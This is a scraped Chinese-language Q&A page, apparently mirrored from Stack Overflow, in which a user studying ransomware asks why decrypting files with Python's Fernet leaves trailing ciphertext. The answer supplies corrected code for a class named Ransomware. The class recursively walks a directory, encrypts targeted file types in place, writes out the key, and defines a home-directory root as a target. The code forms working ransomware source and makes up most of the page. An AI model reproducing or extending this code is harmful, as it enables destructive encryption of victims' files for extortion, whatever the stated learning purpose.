繁体   English   中英

Python cryptography.fernet 文件解密

[英]Python cryptography.fernet file decrypt

我正在研究勒索软件以供学习。

所以我复制并粘贴并像这样编辑它但是当我加密和解密文本文件时,它会附加一个看起来像随机字符串的字符串。 我该如何解决这个问题?

喜欢:

Hello, World!

Hello, World!DTYutnC1fZWc5gCxAnYJoiHOdvTCVYveZ8fhaPrpowQ7TH6afPz7o6E0igVbI2uan6YAjovzwOuRvm6gvi6Bg==

使用此密钥文件:

aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=

问题是您先加密然后解密。 您的加密和解密 function 工作正常问题是您总是寻求文件的开头写入任何更改,这将适用于加密,并且如果明文和密文大小相同(无填充),则适用于解密) 但会在文件开头放置与密文大小不同的解密明文,并使文件的 rest 保持不变,因此您需要截断密文的其余部分。

import os
from os.path import expanduser
from cryptography.fernet import Fernet


class Ransomware(object):
    def __init__(self):
        self.key = None
        self.cryptor = None
        self.file_ext_targets = ["txt"]  # Type of files, you're going to encrypt

    def generate_key(self):
        self.key = Fernet.generate_key()
        self.cryptor = Fernet(self.key)

    def read_key(self, keyfile_name):
        with open(keyfile_name, "rb") as f:
            self.key = f.read()
            self.cryptor = Fernet(self.key)

    def write_key(self, keyfile_name):
        print(self.key)
        with open(keyfile_name, "wb") as f:
            f.write(self.key)

    def crypt_root(self, root_dir, encrypted=False):
        for root, _, files in os.walk(root_dir):
            for f in files:
                abs_file_path = os.path.join(root, f)
                if not abs_file_path.split(".")[-1] in self.file_ext_targets:
                    continue
                self.crypt_file(abs_file_path, encrypted=encrypted)

    def crypt_file(self, file_path, encrypted=False):


        with open(file_path, "rb+") as f:
            _data = f.read()
            if not encrypted:
                # Encrypt
                print()
                data = self.cryptor.encrypt(_data)
                f.seek(0)
                f.write(data)

            else:
                data = self.cryptor.decrypt(_data)
                print(f"File content before encryption: {data}")
                f.seek(0)
                f.write(data)
                f.truncate()

sys_root = expanduser("~")
local_root = "."

keyfile = "./keyfile"

ransom = Ransomware()


def encrypt():
    ransom.generate_key()
    ransom.write_key("keyfile")
    ransom.crypt_root(local_root)


def decrypt():
    ransom.read_key(keyfile)
    ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM